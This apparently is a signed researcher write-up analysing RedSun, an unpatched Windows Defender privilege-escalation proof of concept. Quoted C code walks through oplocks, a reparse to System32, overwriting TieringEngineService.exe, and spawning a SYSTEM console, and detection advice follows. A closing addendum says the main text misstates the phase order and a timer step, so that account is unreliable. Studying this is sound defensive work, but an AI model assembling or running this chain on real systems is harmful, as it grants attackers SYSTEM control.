-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 The comment is on the line where the Cloud Files provider name is set. ```c cfreg.ProviderName = L"SERIOUSLYMSFT"; // let's see how long you can play this game, I'm willing to go as far as you want. ``` BlueHammer's provider was `"IHATEMICROSOFT"`. That one shipped with CVE-2026-33825 and got patched. This one, dropped the same week, uses a different name, a different target, and a fundamentally different primitive. The name changed because the author changed it. The tone did not. RedSun requires local code execution, an LPE, not RCE. But the chain that follows gets you SYSTEM in four distinct steps: register a fake cloud provider, let Defender open your file, rename the directory out from under it, and wait for Defender to follow the reparse point you just stamped. When it does, it writes your binary into `C:\Windows\System32` using its own SYSTEM token. Then you tell it to run. No patch as of this writing. No CVE assigned. ## The Setup: Pipe and Provider `main()` starts with two operations before anything interesting happens. First: ```c HANDLE hpipe = CreateNamedPipe(L"\\??\\pipe\\REDSUN", PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, NULL, 1, NULL, NULL, NULL, NULL); ``` This pipe isn't for communication. It's an oracle. A named pipe tracks which session created it. Later, after Defender has been weaponized and a SYSTEM process is running, the code connects back to this pipe and calls `GetNamedPipeServerSessionId` to recover the session ID of the process that created it. That session ID is how a SYSTEM-privileged process finds its way back into the attacker's interactive session. More on that below. Second: Cloud Files registration. ```c cfreg.ProviderName = L"SERIOUSLYMSFT"; cfreg.ProviderVersion = L"1.0"; syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED; syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL; syncpolicy.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT; CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT); ``` `CF_HYDRATION_POLICY_PARTIAL` means files in this sync root are permitted to exist as stubs, the kernel won't demand they be fully hydrated before operations proceed. `CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT` disables automatic hydration of the root itself. This is standard sync client setup. OneDrive uses it. So does Dropbox. The kernel's Cloud Files filter driver (`cldflt.sys`) treats every registered provider identically because that's the API contract. Then `CfCreatePlaceholders` drops a placeholder file into the sync root with a GUID-derived name: ```c CoCreateGuid(&uid); StringFromGUID2(uid, wuid, 100); placeholder[0].FileIdentity = wuid; placeholder[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE | CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC; CfCreatePlaceholders(syncroot, placeholder, 1, CF_CREATE_FLAG_STOP_ON_ERROR, &processedentries); ``` `CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC` tells the Cloud Files filter that this placeholder is synchronized, no pending downloads, no hydration callbacks needed. That's important: it means `cldflt.sys` won't interrupt Defender's access to ask the sync provider for data. Defender sees a fully accessible file. It scans it. ```c CfConnectSyncRoot(syncroot, callbackreg, callbackctx, CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO | CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH, &cfkey); ``` `callbackreg[0] = { CF_CALLBACK_TYPE_NONE, NULL }`, no callbacks registered. The attacker process connected as the sync provider but registered nothing. This is fine. The filter driver doesn't care that the provider is unresponsive to hydration events. The connection is what matters: it keeps the sync root alive. ## Phase One: The First Oplock and the AV Trigger With the placeholder in place, the main thread opens a second file in the same sync root directory: ```c OVERLAPPED ovd = { 0 }; ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); DeviceIoControl(hlk, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); ``` A batch oplock on `hlk` (the file in the sync root). `FSCTL_REQUEST_BATCH_OPLOCK` asks the kernel to grant exclusive cached read/write/handle access. While the oplock is held, any other process that tries to open this file will stall, the kernel won't let the open complete until the oplock holder either releases it or acknowledges the break request. `DeviceIoControl` returns immediately with `ERROR_IO_PENDING`; the break will be signaled on `ovd.hEvent`. Then the trigger: ```c // trigger AV response CreateFile(foo, GENERIC_READ | FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (WaitForSingleObject(gevent, 120000) != WAIT_OBJECT_0) { printf("PoC timed out, is real time protection enabled ?"); return 1; } ``` `foo` is the path to the placeholder file. Opening it with `FILE_EXECUTE` is the scan trigger, Defender's real-time protection intercepts file opens with execute intent. When Defender's scanner thread tries to open the file, the kernel holds it pending the oplock break. Defender is suspended mid-open. The oplock break handler runs on a separate thread. When it fires: ```c DWORD nbytes = 0; SetEvent(gevent); ResetEvent(gevent); GetOverlappedResult(hlk, &ovd, &nbytes, TRUE); ``` `SetEvent(gevent)` wakes the main thread. `GetOverlappedResult(..., TRUE)` acknowledges the break, until this returns, Defender's pending open stays stalled. The oplock break protocol requires the holder to complete before the waiting opener can proceed. The main thread now has a window: Defender is held at the kernel while the main thread rearranges the filesystem. ## Phase Two: The Directory Swap and the Reparse Point The main thread, unblocked by `gevent`, does four things while Defender waits: **1. Rename the existing workdir out of the way:** ```c wchar_t _tmp[MAX_PATH] = { 0 }; wsprintf(_tmp, L"\\??\\%s.TMP", workdir); MoveFileEx(workdir, _tmp, MOVEFILE_REPLACE_EXISTING); ``` The directory containing the placeholder file is moved to `workdir.TMP`. The path `foo` (the placeholder) now points at nothing, the directory it was in is gone. **2. Re-create the directory at the same path:** ```c CreateDirectory(workdir, NULL); ``` Same path, fresh directory. No Cloud Files attributes, no sync root relationship. Just a plain directory at the path Defender was trying to open through. **3. Create a new "spoof work file" and take a second oplock:** ```c LARGE_INTEGER fsz = { 0 }; fsz.QuadPart = 0x1000; stat = NtCreateFile(&hfile, FILE_READ_DATA | DELETE | SYNCHRONIZE, &_objattr, &iostat, &fsz, FILE_ATTRIBUTE_READONLY, FILE_SHARE_READ, FILE_SUPERSEDE, NULL, NULL, NULL); DeviceIoControl(hfile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); ``` A new file at the same filename (`TieringEngineService.exe`) inside the new (non-Cloud-Files) workdir. `FILE_ATTRIBUTE_READONLY` and `FILE_SHARE_READ`, minimal sharing, read-only. Second oplock placed immediately. This holds the slot in Defender's access sequence: when the first oplock break completes and Defender's thread resumes, it may try to open the file again. The second oplock intercepts that. **4. Stamp the reparse point on the new workdir:** ```c wchar_t rptarget[] = { L"\\??\\C:\\Windows\\System32" }; rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; rdb->MountPointReparseBuffer.SubstituteNameOffset = NULL; rdb->MountPointReparseBuffer.SubstituteNameLength = static_cast(targetsz); memcpy(rdb->MountPointReparseBuffer.PathBuffer, rptarget, targetsz + 2); DeviceIoControl(hrp, FSCTL_SET_REPARSE_POINT, rdb, totalsz, NULL, NULL, NULL, NULL); ``` `IO_REPARSE_TAG_MOUNT_POINT` is a kernel mount point, not a user-space symlink. Any process, including SYSTEM processes, that accesses a path through `workdir\` now resolves to `C:\Windows\System32\` at the I/O manager layer, before the path reaches the filesystem driver. The substitution is transparent to the caller. Defender's remediation code, following the tracked path back to the file it was remediating, walks into System32. `GetOverlappedResult` on the first oplock break returns now. Defender's suspended open completes. It follows the path. The reparse fires. Defender is writing into System32. ## Phase Three: The Timer, the Retry Loop, and the Write The reparse point is in place. The attacker now needs to be first in line to write `TieringEngineService.exe` under Defender's SYSTEM open. The waitable timer controls the timing: ```c HANDLE htimer = CreateWaitableTimer(NULL, FALSE, NULL); LARGE_INTEGER duetime = { 0 }; GetSystemTimeAsFileTime((LPFILETIME)&duetime); ULARGE_INTEGER _duetime = { duetime.LowPart, duetime.HighPart }; _duetime.QuadPart += 0x2FAF080; duetime.QuadPart = _duetime.QuadPart; CloseHandle(hfile); ``` `0x2FAF080` is 50,000,000 in FILETIME units (100-nanosecond intervals). That's 5 seconds from now. `hfile` is closed, releasing the second oplock, then the retry loop starts: ```c for (int i = 0; i < 1000; i++) { wchar_t malpath[] = { L"\\??\\C:\\Windows\\System32\\TieringEngineService.exe" }; // ... stat = NtCreateFile(&hlk, GENERIC_WRITE, &objattr2, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_SUPERSEDE, NULL, NULL, NULL); if (!stat) break; Sleep(20); } ``` `FILE_SUPERSEDE` with `GENERIC_WRITE` directly targeting `\??\C:\Windows\System32\TieringEngineService.exe`. Up to 1000 attempts, 20ms apart, 20 seconds of retries. The loop isn't racing against Defender's write; it's waiting for Defender's SYSTEM-privileged open to resolve through the reparse point and make the write window available. When Defender's thread completes its path traversal, the attacker's `NtCreateFile` wins the race. Once the handle is open: ```c wchar_t mx[MAX_PATH] = { 0 }; GetModuleFileName(GetModuleHandle(NULL), mx, MAX_PATH); wchar_t mx2[MAX_PATH] = { 0 }; ExpandEnvironmentStrings(L"%WINDIR%\\System32\\TieringEngineService.exe", mx2, MAX_PATH); CopyFile(mx, mx2, FALSE); LaunchTierManagementEng(); Sleep(2000); CloseHandle(hpipe); ``` `mx` is the PoC binary itself, `GetModuleFileName(GetModuleHandle(NULL))` returns the path of the currently-running executable. `CopyFile(mx, mx2, FALSE)` overwrites `TieringEngineService.exe` with a copy of RedSun. The service binary is now the attacker's payload. ## Phase Four: Getting Back Into Your Own Session `LaunchTierManagementEng()` triggers execution: ```c void LaunchTierManagementEng() { CoInitialize(NULL); GUID guidObject = { 0x50d185b9,0xfff3,0x4656, {0x92,0xc7,0xe4,0x01,0x8d,0xa4,0x36,0x1d} }; void* ret = NULL; HRESULT hr = CoCreateInstance(guidObject, NULL, CLSCTX_LOCAL_SERVER, guidObject, &ret); ``` GUID `{50d185b9-fff3-4656-92c7-e4018da4361d}` is the Storage Tiering Management Engine service. `CLSCTX_LOCAL_SERVER` activates it as an out-of-process COM server, the SCM starts the service under its SYSTEM token, and the COM activation completes. The process running is now `TieringEngineService.exe`, which is now a copy of RedSun. When the escalated process starts, it detects it's running as SYSTEM: ```c bool ret = IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid); if (ret) { LaunchConsoleInSessionId(); ExitProcess(0); } ``` `LaunchConsoleInSessionId()` is where the pipe pays off. The SYSTEM process connects to `\\.\pipe\REDSUN`: ```c HANDLE hpipe = CreateFile(L"\\??\\pipe\\REDSUN", GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); DWORD sessionid = 0; GetNamedPipeServerSessionId(hpipe, &sessionid); CloseHandle(hpipe); HANDLE hnewtoken = NULL; DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken); SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD)); ``` `GetNamedPipeServerSessionId` returns the session ID of the process that *created* the pipe, the attacker's original user-mode process, running in the interactive session. `SetTokenInformation(TokenSessionId)` stamps that session ID onto the duplicated SYSTEM token. Now: ```c CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi); ``` `conhost.exe` launches with a SYSTEM token that has the session ID of the attacker's interactive session. A SYSTEM shell appears in the user's console. The escalation is complete, visible, interactive. The pipe solves a real problem: a service started by the SCM runs in session 0, which is isolated from interactive sessions by Windows session separation (Vista+). Without the session ID transplant, the SYSTEM process would execute in the wrong session, invisible. The named pipe is a cross-session channel that carries only one piece of information: where to put the resulting shell. ## What the Existing Writeups Miss Most coverage of RedSun describes it as "mount point reparse causes Defender to write attacker binary into System32." That's technically accurate but explains nothing about *how*, specifically, why Defender writes at all, what holds it in place long enough for the reparse to land, and how the resulting SYSTEM process gets back to the attacker. **The two-phase oplock is load-bearing.** A single oplock on the Cloud Files placeholder is not sufficient, by the time Defender's scanner thread breaks the oplock, you need the reparse point already stamped on the directory. The first oplock buys the window. The directory rename and fresh `CreateDirectory` happen during that window. The reparse goes on the new directory. The second oplock holds Defender suspended while that entire sequence completes. Without the second oplock, there's a gap where Defender's pending open could complete before the reparse point lands, the attack becomes a race condition instead of a deterministic sequence. **The placeholder file name matters.** The GUID-derived name (`CoCreateGuid` → `StringFromGUID2`) avoids collisions with any existing Cloud Files state. `CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC` specifically suppresses hydration callbacks, without it, `cldflt.sys` would try to hydrate the placeholder through the sync provider (the attacker process) before allowing access, which would give Defender's open a different failure mode. **`FILE_SUPERSEDE` in the retry loop is not `FILE_OVERWRITE`.** `FILE_SUPERSEDE` tells the kernel to replace the existing file object wholesale, not just overwrite its data, which works even if the file has active handles open on it. `FILE_OVERWRITE` would fail with `STATUS_SHARING_VIOLATION` if Defender's scanner still has the file open. The retry loop uses `FILE_SUPERSEDE` specifically to win against concurrent open handles. ## The Security Model These Two Bugs Break RedSun and BlueHammer attack the same assumption from different angles. The assumption: "Defender operates at SYSTEM privilege, therefore its writes are authorized writes to authorized paths." The actual mechanism: "Defender writes to whatever NT object path resolves at the moment the write occurs." These two statements are equivalent only if Defender controls path resolution. It doesn't. A standard user can: - - Call `CfRegisterSyncRoot`, no elevation required, documented API used by every cloud storage client - - Call `NtCreateSymbolicLinkObject` in a session-local object namespace (`\Sessions\\BaseNamedObjects\`) - - Call `FSCTL_SET_REPARSE_POINT` on a directory they own, no elevation required, documented NTFS operation None of these are bugs. The kernel enforces them by design. The attack chains them in a sequence Defender's remediation engine was not designed to validate against. The BlueHammer fix validated the specific oplock+VSS interaction. RedSun doesn't touch VSS or update workflows. The class, "attacker-influenced path resolution under a SYSTEM write", is untouched by that patch. A class fix requires Defender's remediation engine to canonicalize write targets before committing: resolve the final path after all reparse points, verify it falls within an expected namespace, reject the write if it doesn't. That's a non-trivial change to hot code paths that haven't been written with that constraint in mind. The name changed from `"IHATEMICROSOFT"` to `"SERIOUSLYMSFT"`. The comment says the researcher is willing to go further. `UnDefend`, the third drop, same month, runs from a standard user account, requires no elevation at all, and makes Defender permanently unable to update its signatures. The comment in that one, at line 209, is addressed directly to the reader. The sequence is deliberate and the class remains open. ## What You Can Do **No patch exists for RedSun.** The BlueHammer fix (Antimalware Platform 4.18.26050.3011) does not apply, different APIs, different attack path entirely. **Detect the Cloud Files registration.** `CfRegisterSyncRoot` from any process other than known sync clients (OneDrive, Dropbox, Box) is anomalous. Specifically: a provider named `"SERIOUSLYMSFT"` will not appear in a legitimate deployment. Log `CfRegisterSyncRoot` calls via ETW (`Microsoft-Windows-CloudFiles` provider). Alert on unrecognized provider names. **Detect the reparse point.** `FSCTL_SET_REPARSE_POINT` with `IO_REPARSE_TAG_MOUNT_POINT` stamped on a directory that is also a Cloud Files sync root does not happen in normal operations. Defender for Endpoint's kernel sensor logs FSCTL operations, this combination is a high-fidelity indicator. **Monitor TieringEngineService.exe.** Hash `%WINDIR%\System32\TieringEngineService.exe`. Any unexpected modification is a terminal indicator, the overwrite has already occurred at that point, but catching it before the `LaunchTierManagementEng()` COM activation fires is still actionable. The `Sleep(2000)` between `CopyFile` and pipe cleanup is a brief window. **Named pipe as indicator.** A non-system process holding a named pipe `\\.\pipe\REDSUN` (or any GUID-named pipe with similar creation flags) waiting for a SYSTEM process to connect is observable via handle enumeration. The pipe creation happens at `main()` start and persists until `CloseHandle(hpipe)` at the end, that's the full attack duration. - --- *PGP signature: [redsun-windows-defender-system-write.md.asc](/sigs/redsun-windows-defender-system-write.md.asc), Key fingerprint: `5FD2 1B4F E7E4 A3CA 7971 CB09 DE66 3978 8E09 1026`* - --- ## addendum (2026-04-18) A reader's questions prompted a re-read of the source. Three corrections to the writeup above. **The timer is dead code.** Lines 733-738 compute a `duetime` value but `SetWaitableTimer` is never called. The post described a 5-second window before the retry loop. There is no 5-second window. `CloseHandle(hfile)` at line 739 fires immediately after the duetime computation. **The phase order is wrong.** The post described Cloud Files setup happening before the AV trigger. In the actual code: the EICAR file is written and triggered first. `ShadowCopyFinderThread` handles the VSS oplock while main deletes the EICAR and creates the Cloud Files placeholder. The first oplock is on the VSS snapshot copy of the file, not the placeholder. Cloud Files is set up after the trigger, not before. **The FILE_SUPERSEDE mechanic was understated.** The post explains why FILE_SUPERSEDE avoids `STATUS_SHARING_VIOLATION` when Defender has the file open, but skips why a standard user gets write access afterward. When FILE_SUPERSEDE wins the race and creates a new file object at `System32\TieringEngineService.exe`, the attacker's token becomes the file's creator. The `CREATOR OWNER` ACE inherited from System32's directory DACL then gives the creator full control. That is why `CopyFile` succeeds after `hlk` is closed: the standard user owns the superseded file. -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCaeUiawAKCRDeZjl4jgkQ Jk9eAQCHBtKGqEJAPcaVkbv5zfQAbhnoSPvcFqRPlbs7Ef8RfgD/bV66ccVcelJ4 CdsJaP83tLJr3LiV/kvW8tXpf0P8TwM= =w5ea -----END PGP SIGNATURE-----